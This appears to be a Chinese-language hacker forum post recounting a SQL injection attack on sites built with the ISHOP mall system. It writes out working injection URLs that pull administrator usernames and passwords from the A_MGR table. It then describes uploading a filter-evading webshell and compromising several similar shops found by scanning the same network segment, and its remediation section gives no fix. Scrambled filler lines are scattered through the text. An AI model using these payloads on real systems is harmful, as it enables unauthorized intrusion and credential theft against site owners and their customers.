ISHOP商场建站系统注入漏洞

admin

发现一个注入点
# C& L! s; L5 Dhttp://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
* N$ q- v" ^5 U, U) r! _2 e
习惯性的加’having1=1--
6 k$ M( t# w- m- i6 ^% O
" H, L# \, `2 c# ahttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—

5 d7 s; W. H$ I4 |0
: @1 m- Y$ _) T7 \8 v
2 s/ R$ {3 p0 m爆出Diary_A.dl_Title（这时候很激动啊）

那么继续
3 p7 [. j' p: o0 yhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—

3 f/ o) r# |  U. p- V继续，一直爆下去
0 R# l9 U( S, H, `# A+ ]+ o
爆到几个字段和表段 但是没找到需要的管理用户的字段

( t7 V# V- `5 k: K5 }4 ~蛋疼了 怎么办 然后去后台登陆页看源码
! ?6 e" j  k. K) }
# v" j& e6 [3 Y* r7 [# b' Q0

Input name= “ADUID”
7 ~! n- r) w) t  M' @$ \8 D5 w. M1 c! r- OInput name= “ADPWD”

; w; X3 v2 _# u# t3 }1 J很幸运 找到了字段那就继续
; d" i3 M3 P2 O* [+ t8 X8 P找到之后开始爆用户
" ~0 w( h0 C$ r+ Ghttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
爆密码
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
测试了下 这个注入点只能爆到文章哪里的表
" z7 ^5 E) F7 P: V" c
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了

又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了
& f$ ]" S( Q. w& V* |4 |  Q
473
7 i" b7 V; Y! _
7 j+ U7 O& i# P3 C" Z进后台

; g( c1 z! q& w/ b8 ^9 }7 J8 K
$ Q+ Y; d: J5 a8 t+ R发现几个上传点 有的地方不能上传 而且防止恶意代码

9 b/ z& r* B# k- K% I没办法 各种百度各种找大牛 找到一只好像可以突破的马


5 F, H9 c# n- e9 F% |, H0 {在系统管理那里直接上传 不过没有显示地址
$ b- S4 a- W( U7 I* m( @1 I
( O5 X7 ~3 q& K1 b6 z$ E' B% q再上传一次 抓包 搞定OK



7 |4 R. u2 W: w, h$ r0 h9 [# x472

& }. |1 p9 Q* K1 c) N0 S& y3 w晚上不行了 去睡觉。。。
+ ]5 A: ^+ X; b- Q7 a! A7 T第二天刚起床 闲的没事做继续日站吧

% w: v9 Q& G& S" l. D6 f找个站 就把这个站的旁c扫了下
2 w- P$ t% C* ?" k
* F. }3 K: f$ g6 D发现c段也有一个购物站 ，然后还和这个站的模板差不多

就找到会员登录口测试

'and (select top 1 MGR_UID from A_MGR)>0—
果断爆到了 这时候我很激动 通杀

  U& u6 D; D3 E: c6 _* G: C再次翻c段
" V# C, _4 ~) ^) w
. W! w2 |; e8 p* L翻出几个站 都成功拿下



修复方案：
他们比我专业
4 S+ n, Q! [9 g, F2 S- I​


1 ^6 D' j# i% }  H